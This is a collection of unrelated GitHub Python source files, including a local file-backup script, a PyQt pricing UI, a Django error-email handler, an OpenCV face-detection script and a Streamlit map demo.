+{"seq_id":"25019797853","text":"import os\r\nimport getpass\r\nimport shutil\r\nimport zipfile\r\nimport time\r\n\r\n# Zippy (Windows OS) - Creates a backup of your files with the following extensions: .txt .pdf .docx .png .jpg\r\n# which are located in the following directories: /Downloads /Desktop /Documents /Pictures\r\n# in the lightning speed!\r\n\r\n# Get Username.\r\nusername = getpass.getuser()\r\n\r\n# Backup Directory Name.\r\nbackupDir = 'Backup-' + username\r\n\r\n# PATH Variables\r\npathBackup = 'C:\\\\'\r\npathMyImages = pathBackup + backupDir + '\\\\Images'\r\npathMyDocuments = pathBackup + backupDir + '\\\\Documents'\r\npathLogFile = pathBackup + backupDir\r\n\r\npathDesktop = 'C:\\\\Users\\\\' + username + '\\\\Desktop\\\\'\r\npathDownloads = 'C:\\\\Users\\\\' + username + '\\\\Downloads\\\\'\r\npathDocuments = 'C:\\\\Users\\\\' + username + '\\\\Documents\\\\'\r\npathPictures = 'C:\\\\Users\\\\' + username + '\\\\Pictures\\\\'\r\n\r\n# Navigate to Desktop and check if there is a backup directory.\r\n# If there is not, the program will create one.\r\n# If there is, the program will skip creating directory.\r\nos.chdir(pathBackup)\r\nbackupDirExist = os.path.isdir(backupDir)\r\nif not backupDirExist:\r\n print('Backup Directory:' + ' \\'' + backupDir + '\\' ' + 'Created on C: Partition')\r\n print('--------------------------------------------------------------------\\n')\r\n os.mkdir(backupDir)\r\n os.mkdir(pathMyImages)\r\n os.mkdir(pathMyDocuments)\r\n\r\n# LOG File\r\nlogfile = open(pathLogFile + '\\\\log.txt', 'a')\r\n\r\n\r\n# BACKUP Images\r\ndef backup_images(folder, filename):\r\n if not folder.endswith('\\\\'):\r\n print('Copying \\'' + folder + '\\\\' + filename + '\\' to ' + pathMyImages)\r\n logfile.write('Copying \\'' + folder + '\\\\' + filename + '\\' to ' + pathMyImages + '\\n')\r\n shutil.copy(folder + '\\\\' + filename, pathMyImages)\r\n else:\r\n print('Copying \\'' + folder + filename + '\\' to ' + pathMyImages)\r\n logfile.write('Copying \\'' + folder + filename + '\\' to ' + pathMyImages + '\\n')\r\n shutil.copy(folder + filename, pathMyImages)\r\n\r\n\r\n# BACKUP Documents\r\ndef backup_documents(folder, filename):\r\n if not folder.endswith('\\\\'):\r\n print('Copying \\'' + folder + '\\\\' + filename + '\\' to ' + pathMyDocuments)\r\n logfile.write('Copying \\'' + folder + '\\\\' + filename + '\\' to ' + pathMyDocuments + '\\n')\r\n shutil.copy(folder + '\\\\' + filename, pathMyDocuments)\r\n else:\r\n print('Copying \\'' + folder + filename + '\\' to ' + pathMyDocuments)\r\n logfile.write('Copying \\'' + folder + filename + '\\' to ' + pathMyDocuments + '\\n')\r\n shutil.copy(folder + filename, pathMyDocuments)\r\n\r\n\r\nprint('--------------------------------------------------------------------')\r\nprint('BACKUP The Following PATH: ' + pathDesktop)\r\nprint('--------------------------------------------------------------------')\r\ntime.sleep(1)\r\nfor folders, sub_folders, files in os.walk(pathDesktop):\r\n for eachFile in files:\r\n if eachFile.endswith('.txt'):\r\n backup_documents(folders, eachFile)\r\n elif eachFile.endswith('.pdf'):\r\n backup_documents(folders, eachFile)\r\n elif eachFile.endswith('.docx'):\r\n backup_documents(folders, eachFile)\r\n elif eachFile.endswith('.jpg'):\r\n backup_images(folders, eachFile)\r\n elif eachFile.endswith('.png'):\r\n backup_images(folders, eachFile)\r\n\r\nprint('--------------------------------------------------------------------')\r\nprint('BACKUP The Following PATH: ' + pathDownloads)\r\nprint('--------------------------------------------------------------------')\r\ntime.sleep(1)\r\nfor folders, sub_folders, files in os.walk(pathDownloads):\r\n for eachFile in files:\r\n if eachFile.endswith('.txt'):\r\n backup_documents(folders, eachFile)\r\n elif eachFile.endswith('.pdf'):\r\n backup_documents(folders, eachFile)\r\n elif eachFile.endswith('.docx'):\r\n backup_documents(folders, eachFile)\r\n elif eachFile.endswith('.jpg'):\r\n backup_images(folders, eachFile)\r\n elif eachFile.endswith('.png'):\r\n backup_images(folders, eachFile)\r\n\r\nprint('--------------------------------------------------------------------')\r\nprint('BACKUP The Following PATH: ' + pathDocuments)\r\nprint('--------------------------------------------------------------------')\r\ntime.sleep(1)\r\nfor folders, sub_folders, files in os.walk(pathDocuments):\r\n for eachFile in files:\r\n if eachFile.endswith('.txt'):\r\n backup_documents(folders, eachFile)\r\n elif eachFile.endswith('.pdf'):\r\n backup_documents(folders, eachFile)\r\n elif eachFile.endswith('.docx'):\r\n backup_documents(folders, eachFile)\r\n elif eachFile.endswith('.jpg'):\r\n backup_images(folders, eachFile)\r\n elif eachFile.endswith('.png'):\r\n backup_images(folders, eachFile)\r\n\r\nprint('--------------------------------------------------------------------')\r\nprint('BACKUP The Following PATH: ' + pathPictures)\r\nprint('--------------------------------------------------------------------')\r\ntime.sleep(1)\r\nfor folders, sub_folders, files in os.walk(pathPictures):\r\n for eachFile in files:\r\n if eachFile.endswith('.txt'):\r\n backup_documents(folders, eachFile)\r\n elif eachFile.endswith('.pdf'):\r\n backup_documents(folders, eachFile)\r\n elif eachFile.endswith('.docx'):\r\n backup_documents(folders, eachFile)\r\n elif eachFile.endswith('.jpg'):\r\n backup_images(folders, eachFile)\r\n elif eachFile.endswith('.png'):\r\n backup_images(folders, eachFile)\r\n\r\n\r\nlogfile.close()\r\ntime.sleep(1)\r\n\r\n\r\ndef format_bytes(bytes_num):\r\n sizes = [\"B\", \"KB\", \"MB\", \"GB\", \"TB\"]\r\n\r\n i = 0\r\n dblbyte = bytes_num\r\n\r\n while i < len(sizes) and bytes_num >= 1024:\r\n dblbyte = bytes_num / 1024.0\r\n i = i + 1\r\n bytes_num = bytes_num / 1024\r\n\r\n return str(round(dblbyte, 2)) + \" \" + sizes[i]\r\n\r\n\r\ntotal_size = 0\r\nfor path, dirs, files in os.walk(pathBackup + backupDir):\r\n for f in files:\r\n fp = os.path.join(path, f)\r\n total_size = total_size + os.path.getsize(fp)\r\n\r\n\r\nprint('\\n\\n*** Backup Successfully Created: ' + pathDesktop + ' ***')\r\nprint('*** Total Size: ' + format_bytes(total_size) + ' ***')\r\n\r\ntime.sleep(1)\r\n\r\n# Archiving...\r\ntry:\r\n myArchive = zipfile.ZipFile(pathBackup + backupDir + '.zip', 'w')\r\n\r\n for one, two, three in os.walk(pathBackup + backupDir):\r\n for each_File in three:\r\n myArchive.write(os.path.join(one, each_File))\r\n\r\n myArchive.close()\r\n print('--------------------------------------------------------------------')\r\n print('*** Now Let\\'s Archive Your Backup Files: ' + pathDesktop +backupDir + '.zip' + ' ***')\r\n shutil.move(pathBackup + backupDir, pathDesktop)\r\n shutil.move(pathBackup + backupDir + '.zip', pathDesktop)\r\nexcept:\r\n print('--------------------------------------------------------------------')\r\n print('ERROR: Unable to Archive The Backup Directory (Try using Administrator Level Privilege.)')\r\n print('Type \\'exit\\' to close the app.')\r\n exitString = input()\r\n if 'exit' in exitString:\r\n sys.exit()\r\n\r\n\r\n","repo_name":"stevdza-san/zippy-backup","sub_path":"zippy.py","file_name":"zippy.py","file_ext":"py","file_size_in_byte":7203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"8155429193","text":"for case in range(int(input())):\n a, b = input().split()\n inp = input().split()\n if len(inp) == 1:\n s1 = inp[0]\n s2 = input()\n else:\n s1, s2 = inp\n res1 = int(s1.replace(a, b)) + int(s2.replace(a, b))\n res2 = int(s1.replace(b, a)) + int(s2.replace(b, a))\n print(min(res1, res2), max(res1, res2))","repo_name":"nhikiu/PYTHON-PTIT","sub_path":"ICPC0107_THAY_DOI_CHU_SO.PY","file_name":"ICPC0107_THAY_DOI_CHU_SO.PY","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"31112405755","text":"import datetime\n\nfrom pyramid.events import subscriber\nfrom pyramid.httpexceptions import HTTPUnauthorized, HTTPBadRequest\n\nfrom fas import log\nfrom fas.api import RequestStatus\nfrom fas.events import ApiRequest, TokenUsed, TokenValidationRequest\nfrom fas.security import PrivateDataValidator\nfrom fas.util import Config\n\n\n@subscriber(ApiRequest)\ndef on_api_request(event):\n \"\"\"\n API requests listener which:\n check parameters and API key validity on every\n single API request.\n\n Also check for private API request if any.\n \"\"\"\n params = event.request.param_validator\n data = event.data\n request = event.request\n\n ct_type = 'application/json'\n apikey = None\n\n if params.validate():\n request.registry.notify(TokenValidationRequest(event.request))\n apikey = event.request.token_validator\n if apikey.validate():\n if Config.get(\"token.engine\") == \"built-in\":\n event.perm = apikey.get_perm()\n # Update token activity\n apikey.get_obj().last_used = datetime.datetime.utcnow()\n else:\n log.debug('Given API key is invalid.')\n data.set_error_msg(apikey.get_msg()[0], apikey.get_msg()[1])\n data.set_status(RequestStatus.FAILED.value)\n raise HTTPUnauthorized(\n body=unicode(data.get_metadata(format_json=True)),\n content_type=ct_type\n )\n else:\n log.error('Missing parameters from this request.')\n data.set_error_msg(params.get_msg()[0], params.get_msg()[1])\n data.set_status(RequestStatus.FAILED.value)\n raise HTTPBadRequest(\n body=unicode(data.get_metadata(format_json=True)),\n content_type=ct_type\n )\n\n # Check private request\n if request.method == 'POST' and event.is_private:\n log.debug('Parsing request for private data:\\n %s' % request.json_body)\n pdata = PrivateDataValidator(\n request.json_body['credentials'],\n secret=apikey.get_obj().secret\n )\n if not pdata.validate():\n data.set_error_msg(pdata.get_msg[0], pdata.get_msg[1])\n data.set_status(RequestStatus.FAILED.value)\n raise HTTPBadRequest(\n body=unicode(data.get_metadata(format_json=True)),\n content_type=ct_type\n )\n\n\n@subscriber(TokenUsed)\ndef on_token_used(event):\n \"\"\" Token activity listener. \"\"\"\n event.perm.last_used = datetime.datetime.utcnow()\n\n log.debug('Saving token last usage timestamp for user %s',\n event.person.username)\n\n","repo_name":"hixio-mh/fas","sub_path":"fas/subscribers/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"1"}
+{"seq_id":"28988147547","text":"import pandas as pd\nfrom libcbm.storage import dataframe\nfrom libcbm.storage import series\nfrom libcbm.model.cbm import cbm_variables\nfrom libcbm.model.cbm import cbm_simulator\nfrom libcbm.model.cbm.stand_cbm_factory import StandCBMFactory\nfrom libcbm.model.cbm.cbm_output import CBMOutput\n\n\ndef test_integration():\n classifiers = {\n \"c1\": [\"c1_v1\"],\n \"c2\": [\"c2_v1\"],\n }\n merch_volumes = [\n {\n \"classifier_set\": [\"c1_v1\", \"?\"],\n \"merch_volumes\": [\n {\n \"species\": \"Spruce\",\n \"age_volume_pairs\": [\n [0, 0],\n [50, 100],\n [100, 150],\n [150, 200],\n ],\n }\n ],\n }\n ]\n\n cbm_factory = StandCBMFactory(classifiers, merch_volumes)\n\n n_steps = 10\n return_interval = 50\n n_rotations = 5\n age = 15\n inventory = dataframe.from_pandas(\n pd.DataFrame(\n columns=[\n \"c1\",\n \"c2\",\n \"admin_boundary\",\n \"eco_boundary\",\n \"age\",\n \"area\",\n \"delay\",\n \"land_class\",\n \"afforestation_pre_type\",\n \"historic_disturbance_type\",\n \"last_pass_disturbance_type\",\n ],\n data=[\n [\n \"c1_v1\",\n \"c2_v1\",\n \"British Columbia\",\n \"Pacific Maritime\",\n age,\n 1.0,\n 0,\n \"UNFCCC_FL_R_FL\",\n \"None\",\n \"Wildfire\",\n \"Wildfire\",\n ]\n ],\n )\n )\n csets, inv = cbm_factory.prepare_inventory(inventory)\n n_stands = inv.n_rows\n with cbm_factory.initialize_cbm() as cbm:\n spinup_results = CBMOutput(density=True)\n\n cbm_results = CBMOutput(\n classifier_map=cbm_factory.classifier_value_names,\n disturbance_type_map=cbm_factory.disturbance_types,\n )\n\n cbm_simulator.simulate(\n cbm,\n n_steps=n_steps,\n classifiers=csets,\n inventory=inv,\n pre_dynamics_func=lambda t, cbm_vars: cbm_vars,\n reporting_func=cbm_results.append_simulation_result,\n spinup_params=cbm_variables.initialize_spinup_parameters(\n n_stands,\n inventory.backend_type,\n series.allocate(\n \"return_interval\",\n n_stands,\n return_interval,\n \"int32\",\n inventory.backend_type,\n ),\n series.allocate(\n \"min_rotations\",\n n_stands,\n n_rotations,\n \"int32\",\n inventory.backend_type,\n ),\n series.allocate(\n \"max_rotations\",\n n_stands,\n n_rotations,\n \"int32\",\n inventory.backend_type,\n ),\n series.allocate(\n \"mean_annual_temp\",\n n_stands,\n -1,\n \"float\",\n inventory.backend_type,\n ),\n ),\n spinup_reporting_func=spinup_results.append_simulation_result,\n )\n assert cbm_results.pools.n_rows == (n_steps + 1) * n_stands\n assert (\n spinup_results.pools.n_rows\n == (n_rotations * return_interval) + age - 1\n )\n","repo_name":"cat-cfs/libcbm_py","sub_path":"test/model/cbm/integration_test.py","file_name":"integration_test.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"1"}
+{"seq_id":"31927747271","text":"from PyQt5.QtWidgets import *\nfrom pages_ui.product_python import Ui_product\nfrom pages_ui.product_new import Ui_product_Product\nfrom pages_ui.sonuc_ui import Ui_Sonuc_Form\nfrom .sonuc import SonucPage\n# from pages_ui.product_python import Ui_product\nfrom PyQt5 import QtCore, QtWidgets\n\n\nclass ProductPage(QWidget):\n def __init__(self) -> None:\n super().__init__()\n \n self.urun_listesi = {\n \"kalem\": {\"renkler\": {\"mavi\": 3, \"siyah\": 5, \"kırmızı\": 4}, \"fiyat\": None,\"adet\":{1,5,10,20,50,100}},\n \"defter\": {\"renkler\": {\"sarı\": 8, \"pembe\": 10, \"yeşil\": 9}, \"fiyat\": None,\"adet\":{1,5,10,20,50,100}},\n \"kalemlik\": {\"renkler\": {\"mor\": 6, \"turuncu\": 7, \"beyaz\": 8}, \"fiyat\": None,\"adet\":{1,5,10,20,50,100}},\n \"bardak\": {\"renkler\": {\"şeffaf\": 2, \"mavi\": 3, \"kırmızı\": 4}, \"fiyat\": None,\"adet\":{1,5,10,20,50,100}}\n }\n self.sonuc_page =SonucPage()\n self.productform = Ui_product_Product()\n self.productform.setupUi(self,self.urun_listesi,self.on_product_type_button_clicked)\n self.sonuc_ui = Ui_Sonuc_Form()\n \n self.number_name= self.productform.number_button\n self.productform.on_product_type_button_clicked= self.on_product_type_button_clicked\n #===========================================================================================# \n #===========================================================================================# \n def on_product_type_button_clicked(self):\n button =self.productform.page_product_type.sender()\n self.product_name = button.objectName()\n for color_button in self.productform.page_2_product_color.findChildren(QtWidgets.QPushButton):\n self.productform.color_layout.removeWidget(color_button)\n color_button.deleteLater()\n # Clear any existing number buttons from the number page\n for number_button in self.productform.page_3_product_number.findChildren(QtWidgets.QPushButton):\n self.productform.number_layout.removeWidget(number_button)\n number_button.deleteLater()\n \n colors =self.get_colors_for_product(self.product_name)\n #! You can find label of product type where product_python.py\n # Add a label to the color page if it doesn't exist\n if not hasattr(self, 'label'):\n self.label = QtWidgets.QLabel(self.productform.page_2_product_color)\n # self.label.setAlignment(QtCore.Qt.AlignCenter)\n # self.productform.color_layout.addWidget(self.label)\n # Set the text of the label\n self.label.setGeometry(QtCore.QRect(200, 25, 400,100))\n self.label.setText(\"Lütfen ürün rengini seçiniz\")\n \n \n \n \n for color in colors:\n color_button = QtWidgets.QPushButton(color)\n color_button.setObjectName(color)\n color_button.setFixedSize(150, 170)\n self.productform.color_layout.addWidget(color_button)\n print(\"2.adım \"+color_button.objectName())\n color_button.clicked.connect(lambda checked, color_name=color: self.on_product_color_button_clicked(color_name))\n \n \n \n \n self.button3 = QtWidgets.QPushButton(\"<---\", self.productform.page_2_product_color)\n self.button3.setGeometry(QtCore.QRect(0, 360, 400,100))\n self.button3.setFixedSize(80,40)\n # self.button2.setStyleSheet(\"background-color: #ecc5e9; color: black;\")\n # self.button2.setStyleSheet(\"QPushButton:hover { background-color: white; }\")\n # self.productform.color_layout.addWidget(self.button2)\n \n # Create a horizontal layout for the color and back buttons\n color_button_layout = QtWidgets.QHBoxLayout()\n # color_button_layout.addWidget(self.button2)\n # Add the color buttons and the horizontal layout to the color layout\n self.productform.color_layout.addLayout(color_button_layout)\n \n self.productform.stackedWidget.setCurrentIndex(1)\n self.button3.clicked.connect(self.go_back)\n \n #===========================================================================================# \n def get_colors_for_product(self,product_name):\n color =[]\n for urun in self.urun_listesi:\n print(self.product_name)\n print(urun)\n if self.product_name == urun:\n for renk in self.urun_listesi[urun]['renkler'].keys():\n color.append(renk)\n return color\n else:\n continue\n def go_back(self):\n self.current_index = self.productform.stackedWidget.currentIndex()\n self.productform.stackedWidget.setCurrentIndex(self.current_index-1)\n #===========================================================================================# \n #===========================================================================================# \n def on_product_color_button_clicked(self,number_button=None):\n for i in reversed(range(self.productform.number_layout.count())):\n widgetToRemove = self.productform.number_layout.itemAt(i).widget()\n if widgetToRemove is not None:\n widgetToRemove.setParent(None)\n button = self.productform.page_2_product_color.sender()\n self.color_name = button.objectName()\n self.product_name = self.product_name\n print(\"3.adım da product: \" + self.product_name)\n print(\"3.adım buton adı \" +self.color_name)\n \n # Add a label to the number page\n self.label = QtWidgets.QLabel(self.productform.page_3_product_number)\n self.label.setText(\"Lütfen ürün adedini seçiniz\")\n # self.label.setAlignment(QtCore.Qt.AlignCenter)\n self.label.setGeometry(QtCore.QRect(200, 25, 400,100))\n # self.productform.number_layout.addWidget(self.label)\n \n numbers = self.get_number_for_product(self.product_name)\n numbers.sort()\n for number in numbers:\n self.number_button = QtWidgets.QPushButton(str(number))\n self.number_button.setObjectName(str(number))\n self.number_button.setFixedSize(100, 120)\n self.productform.number_layout.addWidget(self.number_button)\n print(\"3.adım \"+self.number_button.objectName())\n self.number_button.clicked.connect(lambda checked, number_name=number: self.on_number_button_clicked(number_name))\n if not hasattr(self, 'button2'):\n self.button2 = QtWidgets.QPushButton(\"<--\", self.productform.page_3_product_number)\n self.button2.setGeometry(QtCore.QRect(0, 360, 400,100))\n self.button2.setFixedSize(80,40)\n self.button2.setStyleSheet(\"background-color: #ecc5e9; color: black;\")\n self.button2.setStyleSheet(\"QPushButton:hover { background-color: white; }\")\n self.button2.clicked.connect(self.go_back)\n # self.productform.number_layout.addWidget(self.button2) \n \n # Create a horizontal layout for the color and back buttons\n self.number_button_layout = QtWidgets.QHBoxLayout()\n #self.number_button_layout.addWidget(self.button2)\n # Add the color buttons and the horizontal layout to the color layout\n self.productform.number_layout.addLayout(self.number_button_layout)\n self.productform.stackedWidget.setCurrentIndex(2)\n #===========================================================================================# \n def get_number_for_product(self,product_name):\n number=[]\n for urun in self.urun_listesi:\n print(self.product_name)\n print(urun)\n if self.product_name == urun:\n for renk in self.urun_listesi[urun]['adet']:\n number.append(renk)\n return number\n else:\n continue\n \n \n #===========================================================================================#\n def on_number_button_clicked(self,number_name=None):\n number_button = self.productform.page_3_product_number.sender()\n self.number_name = number_button.objectName()\n self.number_name = int(self.number_name)\n print(self.number_name)\n self.result_price(self.color_name,self.product_name,self.number_name)\n #===========================================================================================#\n def result_price(self,color_name,product_name,number):\n \n self.color_name=color_name\n self.product_name = product_name\n self.number = int(number)\n \n product_price = int(self.urun_listesi[self.product_name]['renkler'][self.color_name])\n \n self.total_price = int(product_price*number)\n print(product_price)\n print(self.total_price)\n self.result_page()\n\n def result_page(self):\n self.close()\n total = str(self.total_price)\n self.sonuc_page.sonuc.label_bilgi.setText( total+ \" ₺\")\n self.sonuc_page.show()\n ","repo_name":"atak-05/give-price-programming","sub_path":"pages/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":9221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"25878911047","text":"#1\n\nl = ['name', 'age', '1', '19']\ndef divide_list(list_1):\n m = int(len(list_1)/2)\n ls1 = list_1[:m]\n ls1.reverse()\n ls2 = list_1[m:]\n ls2.reverse()\n ls1.extend(ls2)\n print(ls1)\ndivide_list(l)\n\n\n#2\nnum = int(input())\ndef recur_fibo(n):\n if n <= 1:\n return n\n else:\n return (recur_fibo(n-1) + recur_fibo(n-2))\nrecur_fibo(num)\nls = []\nfor i in range(num):\n ls.append(recur_fibo(i))\nprint(ls)\n\n#3\nx,y = map(int,input().split())\ndef add(x,y):\n print(x+y)\ndef subscribe(x,y):\n print(x-y)\ndef mix(x,y):\n add(x,y)\n subscribe(x,y)\nmix(x,y)\n\n#11\n\ndef touch_file():\n name = input(\"name of file: \")\n file = open(f\"{name}.txt\", \"w\")\n file.write(\"hello world!\")\n file.close()\n\ntouch_file()\n#12\nimport random\ndef gen_number():\n ls = [1, 4, 5, 7, 9, 0]\n random.shuffle(ls)\n print(\"0444\" + str(ls[0]) + str(ls[1]) + str(ls[2]) + str(ls[3]) + str(ls[4]) + str(ls[5]))\ngen_number()\n","repo_name":"akmara1/functions","sub_path":"clw.py","file_name":"clw.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
+{"seq_id":"10232531426","text":"#!/usr/bin/env python3\n\nfrom collections import defaultdict\ndef sorted_stats(s='bcdacebe'):\n freq = defaultdict(int)\n for c in s:\n freq[c] += 1\n lower = ord('A')\n upper = ord('z')\n for code in range(lower, upper+1):\n c = chr(code)\n if c in freq:\n print(c, freq[c])\n\n\nif __name__ == '__main__':\n sorted_stats()\n\n","repo_name":"kopchik/itasks","sub_path":"round5/epi/14.3_stats.py","file_name":"14.3_stats.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"74140991073","text":"# -*- coding: utf-8 -*-\n\nfrom copy import copy\n\nfrom django.conf import settings\nfrom django.utils import log\nfrom django.views.debug import ExceptionReporter\n\n\nclass AdminEmailHandler(log.AdminEmailHandler):\n\n def emit(self, record):\n try:\n request = record.request\n subject = '%s (%s IP: %s): %s' % (record.levelname, (request.user if request.user else 'No user'),\n ('internal'\n if request.META.get('REMOTE_ADDR') in settings.INTERNAL_IPS else 'EXTERNAL'), record.getMessage())\n except Exception:\n subject = '%s: %s' % (record.levelname, record.getMessage())\n request = None\n subject = self.format_subject(subject)\n\n # Since we add a nicely formatted traceback on our own, create a copy\n # of the log record without the exception data.\n no_exc_record = copy(record)\n no_exc_record.exc_info = None\n no_exc_record.exc_text = None\n\n if record.exc_info:\n exc_info = record.exc_info\n else:\n exc_info = (None, record.getMessage(), None)\n\n reporter = ExceptionReporter(request, is_email=True, *exc_info)\n message = \"%s\\n\\n%s\" % (self.format(no_exc_record), reporter.get_traceback_text())\n html_message = reporter.get_traceback_html() if self.include_html else None\n self.send_mail(subject, message, fail_silently=True, html_message=html_message)\n","repo_name":"keegan/ion","sub_path":"intranet/middleware/email_handler.py","file_name":"email_handler.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
+{"seq_id":"14678985762","text":"import numpy as np\n#from keras.models import model_from_json\nimport matplotlib.pyplot as plt\nimport face_recognition\nfrom pathlib import Path\nimport os\nimport sys\nsys.path.append('../src')\nimport cv2 # for OpenCV bindings\n\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\neye_cascade = cv2.CascadeClassifier('haarcascade_eye.xml')\nsmile_cascade = cv2.CascadeClassifier('haarcascade_smile.xml')\n\n\n# HAAR CASCADE CLASSIFIER\ndef detect_face_eyes_smile(pth):\n \"\"\"\n Extracts all .jpg files from local path, \n calls on haar cascade classifiers (frontalface, eyes and smile) \n and draws detection rectangles on each .jpg \n \n Takes: local path of directory with .jpg images\n \n Returns: individual windows for .jpg files with detection rectangles for face, eyes and smile\n \"\"\"\n\n counter_imgs = 0\n counter_faces = 0\n counter_smiles = 0\n counter_eyes = 0\n face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n eye_cascade = cv2.CascadeClassifier('haarcascade_eye.xml')\n smile_cascade = cv2.CascadeClassifier('haarcascade_smile.xml')\n \n for file in sorted(pth.iterdir()):\n if file.suffix != '.jpg':\n pass\n else:\n counter_imgs += 1\n print(file.name)\n img = cv2.imread(str(file))\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n plt.imshow(img)\n\n # FRONTAL FACE \n \n faces = face_cascade.detectMultiScale(\n gray, \n scaleFactor=1.06, \n minNeighbors=7,\n minSize=(30, 30), \n flags=cv2.CASCADE_SCALE_IMAGE)\n if faces is None:\n print(\"No Face Found\")\n\n for (fx,fy,fw,fh) in faces:\n counter_faces += 1\n roi_gray = gray[fy:fy+fh, fx:fx+fw] # region of interest for detection\n roi_color = img[fy:fy+fh, fx:fx+fw] # region of interest for mapping rectangle\n cv2.rectangle(\n img,\n (fx,fy),\n (fx+fw,fy+fh),\n #(127,0,255),\n (0,255,0),\n 2)\n\n # SMILES \n\n smiles = smile_cascade.detectMultiScale(\n roi_gray, \n scaleFactor = 1.35, \n minNeighbors = 8)\n\n for (sx, sy, sw, sh) in smiles:\n counter_smiles += 1\n cv2.rectangle(\n roi_color,\n (sx, sy),\n (sx + sw, sy + sh),\n #(255, 0, 130),\n #(0,220,80),\n (127,0,255),\n 1)\n\n # EYES\n\n eyes = eye_cascade.detectMultiScale(\n roi_gray,\n scaleFactor=1.05,\n minNeighbors = 6)\n\n for (ex,ey,ew,eh) in eyes:\n counter_eyes += 1\n cv2.rectangle(\n roi_color, \n (ex , ey),\n (ex + ew, ey + eh),\n (0,255,255),\n 1)\n \n # save images with detected regions\n file_to_save = file.name.replace(\".\",f\"_face{counter_faces}.\")\n #cv2.imwrite(str(pth.parent/'demo_faces'/file_to_save),img)\n cv2.imwrite(str(pth.parent/'demo_faces'/file_to_save),roi_color)\n counter_imgs = 0\n counter_faces = 0\n # show the output frame\n cv2.imshow(f\"img{file_to_save}\", img)\n key = cv2.waitKey(3) & 0xFF\n\n # if the `q` key was pressed, break from the loop\n if key == ord(\"q\"):\n # do a bit of cleanup\n cv2.destroyAllWindows()\n break\n \n # do a bit of cleanup\n cv2.destroyAllWindows()\ncv2.destroyAllWindows()\n\n\n\"\"\"\n\nHaarCascade Classifiers:\n \n If faces are found, returns the positions of detected faces as Rect(x,y,w,h).\n\n cv2.CascadeClassifier.detectMultiScale(\n image[, scaleFactor[, minNeighbors[, flags[, minSize[, maxSize]]]]]) \n\n image: Matrix of the type CV_8U containing an image where objects are detected.\n scaleFactor (max recommendd: 1,4) : how much the image size is reduced at each image scale.\n creates scale pyramid. For scaleFactor 1.03: using a small step for resizing,\n i.e. reduce size by 3 %\n --> increase the chance of a matching size with the model for detection,but it's expensive.\n minNeighbors (recommended 3-6) : many rectangles (neighbors) need to be detected \n for the window to be labeled a face.how many neighbors each candidate rectangle should have to retain it. \n will affect the quality of the detected faces: \n higher value results in less detections but with higher quality.\n We're using 5 in the code.\n flags : Parameter with the same meaning for an old cascade as in the function cvHaarDetectObjects. \n Not used for a new cascade.\n minSize : pixels(30x30 recommended) windows/objects minimum possible size. \n Objects smaller than that are ignored.\n maxSize : Maximum possible object size. \n Objects larger than that are ignored.\n \n Haar cascades tend to be very sensitive to your choice\n in detectMultiScale parameters. \n The scaleFactor and minNeighbors being the ones you have to tune most often.\n\n\"\"\"\n# !!! Why, when and how to use Haar vs HOG + Linear SVM, SSD, YOLO + capturing from video implementation\n # https://www.pyimagesearch.com/2021/04/05/opencv-face-detection-with-haar-cascades/\n# Params explained\n # https://towardsdatascience.com/computer-vision-detecting-objects-using-haar-cascade-classifier-4585472829a9\n\n\n","repo_name":"CristinaCallejo/ReadingyourAudience","sub_path":"src/code3_data.py","file_name":"code3_data.py","file_ext":"py","file_size_in_byte":6005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"8702160935","text":"import streamlit as st\nimport altair as alt\nimport inspect\nfrom vega_datasets import data\n\n@st.experimental_memo\ndef get_chart_91875(use_container_width: bool):\n import altair as alt\n from vega_datasets import data\n \n states = alt.topo_feature(data.us_10m.url, 'states')\n capitals = data.us_state_capitals.url\n \n # US states background\n background = alt.Chart(states).mark_geoshape(\n fill='lightgray',\n stroke='white'\n ).properties(\n title='US State Capitols',\n width=650,\n height=400\n ).project('albersUsa')\n \n # Points and text\n hover = alt.selection(type='single', on='mouseover', nearest=True,\n fields=['lat', 'lon'])\n \n base = alt.Chart(capitals).encode(\n longitude='lon:Q',\n latitude='lat:Q',\n )\n \n text = base.mark_text(dy=-5, align='right').encode(\n alt.Text('city', type='nominal'),\n opacity=alt.condition(~hover, alt.value(0), alt.value(1))\n )\n \n points = base.mark_point().encode(\n color=alt.value('black'),\n size=alt.condition(~hover, alt.value(30), alt.value(100))\n ).add_selection(hover)\n \n chart = background + points + text\n \n tab1, tab2 = st.tabs([\"Streamlit theme (default)\", \"Altair native theme\"])\n \n with tab1:\n st.altair_chart(chart, theme=\"streamlit\", use_container_width=True)\n with tab2:\n st.altair_chart(chart, theme=None, use_container_width=True)\n\ntry:\n st.expander(\"See code\").code(inspect.getsource(get_chart_91875))\n get_chart_91875(use_container_width=True)\nexcept Exception as e:\n st.exception(e)\n\n","repo_name":"streamlit/release-demos","sub_path":"1.16.0/demo_app_altair/pages/125_Us_State_Capitals.py","file_name":"125_Us_State_Capitals.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","stars":78,"dataset":"github-code","pt":"1"}
